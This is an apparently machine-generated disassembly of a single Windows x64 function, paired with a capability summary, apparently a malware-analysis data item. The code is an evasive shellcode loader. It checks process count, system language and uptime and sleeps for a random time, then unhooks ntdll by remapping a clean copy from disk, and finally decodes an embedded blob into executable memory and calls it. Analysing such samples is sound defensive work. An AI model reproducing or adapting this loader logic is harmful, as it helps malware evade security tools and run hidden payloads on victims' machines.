Function at 0x140004da0
Capabilities:
Allocate or change rwx memory
Encode data using xor
Enumerate processes
Execute shellcode via indirect call
Generate random numbers using a mersenne twister
Identify system language via api
Read file via mapping

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
mov eax, 0x13f8
call fcn.14001f970
sub rsp, rax
mov rax, qword [0x140035040]
xor rax, rsp
mov qword [rsp + 0x13f0], rax
stmxcsr dword [rsp + 0x60]
or dword [rsp + 0x60], 0x8040
ldmxcsr dword [rsp + 0x60]
mov ecx, 2
xor edx, edx
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
cmp rax, 0xffffffffffffffff
je 0x140004e53
mov rsi, rax
lea rdi, [rsp + 0x60]
mov r8d, 0x238
mov rcx, rdi
xor edx, edx
call fcn.140005580
mov dword [rsp + 0x60], 0x238
mov rcx, rsi
mov rdx, rdi
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x140005257
mov ebx, 0xffffffff
lea rdi, [rsp + 0x60]
nop dword [rax]
mov rcx, rsi
mov rdx, rdi
call sub.KERNEL32.dll_Process32NextW
inc ebx
test eax, eax
jne 0x140004e30
cmp ebx, 0x3c
jb 0x140005257
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rsi, [rsp + 0x60]
call fcn.14000bea4
mov dword [rsp + 0x13e4], 0xffffffff
mov dword [rsp + 0x64], eax
xor ecx, ecx
nop
mov edx, eax
shr edx, 0x1e
xor edx, eax
imul eax, edx, 0x6c078965
add eax, ecx
inc eax
mov dword [rsp + rcx*4 + 0x68], eax
mov edx, eax
shr edx, 0x1e
xor edx, eax
imul eax, edx, 0x6c078965
add eax, ecx
add eax, 2
mov dword [rsp + rcx*4 + 0x6c], eax
mov edx, eax
shr edx, 0x1e
xor edx, eax
imul eax, edx, 0x6c078965
add eax, ecx
add eax, 3
mov dword [rsp + rcx*4 + 0x70], eax
mov edx, eax
shr edx, 0x1e
xor edx, eax
imul eax, edx, 0x6c078965
add eax, ecx
add eax, 4
mov dword [rsp + rcx*4 + 0x74], eax
mov edx, eax
shr edx, 0x1e
xor edx, eax
imul eax, edx, 0x6c078965
add eax, ecx
add eax, 5
mov dword [rsp + rcx*4 + 0x78], eax
mov edx, eax
shr edx, 0x1e
xor edx, eax
imul eax, edx, 0x6c078965
add eax, ecx
add eax, 6
mov dword [rsp + rcx*4 + 0x7c], eax
mov edx, eax
shr edx, 0x1e
xor edx, eax
imul eax, edx, 0x6c078965
add eax, ecx
add eax, 7
mov dword [rsp + rcx*4 + 0x80], eax
mov edx, eax
shr edx, 0x1e
xor edx, eax
imul edx, edx, 0x6c078965
lea eax, [rcx + rdx]
add eax, 8
mov dword [rsp + rcx*4 + 0x84], eax
add rcx, 8
cmp rcx, 0x268
jne 0x140004e70
add edx, ecx
mov eax, edx
shr eax, 0x1e
xor eax, edx
imul eax, eax, 0x6c078965
add eax, 0x269
mov dword [rsp + 0xa08], eax
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, 0x26a
mov dword [rsp + 0xa0c], eax
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, 0x26b
mov dword [rsp + 0xa10], eax
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, 0x26c
mov dword [rsp + 0xa14], eax
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, 0x26d
mov dword [rsp + 0xa18], eax
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, 0x26e
mov dword [rsp + 0xa1c], eax
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, 0x26f
mov dword [rsp + 0xa20], eax
mov dword [rsp + 0x60], 0x270
lea rcx, [rsp + 0x60]
call fcn.140005270
mov eax, eax
imul rcx, rax, 0x2329
cmp ecx, 0x140a
ja 0x140005029
nop dword [rax + rax]
mov rcx, rsi
call fcn.140005270
mov eax, eax
imul rcx, rax, 0x2329
cmp ecx, 0x140b
jb 0x140005010
shr rcx, 0x20
add ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetUserDefaultUILanguage]
and eax, 0x3ff
cmp ax, 4
jne 0x140005257
call fcn.140004d30
call qword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, 0x927bf
jbe 0x140005257
xorps xmm0, xmm0
movaps xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], 0
lea rcx, [0x14002edf6]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea r8, [rsp + 0x60]
mov rcx, 0xffffffffffffffff
mov qword [rsp + 0x48], rax
mov rdx, rax
mov r9d, 0x18
call sub.KERNEL32.dll_K32GetModuleInformation
mov rsi, qword [rsp + 0x60]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
lea rcx, str.c:windows_system32_ntdll.dll
mov edx, 0x80000000
mov r8d, 1
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov qword [rsp + 0x40], rax
mov rcx, rax
xor edx, edx
mov r8d, 0x1000002
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov qword [rsp + 0x20], 0
mov qword [rsp + 0x38], rax
mov rcx, rax
mov edx, 4
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov qword [rsp + 0x50], rax
movsxd rdi, dword [rsi + 0x3c]
movzx r15d, word [rdi + rsi + 6]
test r15w, r15w
je 0x1400051dc
lea rbx, [rsi + rdi]
add rbx, 0x18
xor r14d, r14d
lea r12, str..text
lea r13, [rsp + 0x5c]
jmp 0x140005170
inc r14
movzx eax, r15w
add rbx, 0x28
cmp r14, rax
jae 0x1400051dc
movzx ebp, word [rsi + rdi + 0x14]
add rbp, rbx
mov rcx, rbp
mov rdx, r12
call fcn.140013c60
test eax, eax
jne 0x140005160
mov dword [rsp + 0x5c], 0
mov edx, dword [rbp + 8]
mov ecx, dword [rbp + 0xc]
add rcx, rsi
mov r8d, 0x40
mov r9, r13
mov r15, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call r15
mov r8d, dword [rbp + 8]
mov edx, dword [rbp + 0xc]
lea rcx, [rdx + rsi]
add rdx, qword [rsp + 0x50]
call fcn.140005650
mov r8d, dword [rsp + 0x5c]
mov edx, dword [rbp + 8]
mov ecx, dword [rbp + 0xc]
add rcx, rsi
mov r9, r13
call r15
movzx r15d, word [rsi + rdi + 6]
jmp 0x140005160
mov rsi, qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x40]
call rsi
mov rcx, qword [rsp + 0x38]
call rsi
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
lea rdx, [0x14002d320]
mov r8d, 0x3d3
lea rsi, [rsp + 0x60]
mov rcx, rsi
call fcn.140005650
lea r9, [rsp + 0x5c]
mov edx, 0x3d3
mov rcx, rsi
mov r8d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rsi
mov rcx, qword [rsp + 0x13f0]
xor rcx, rsp
call fcn.140018310
xor eax, eax
add rsp, 0x13f8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov ecx, 1
call fcn.140012988
int3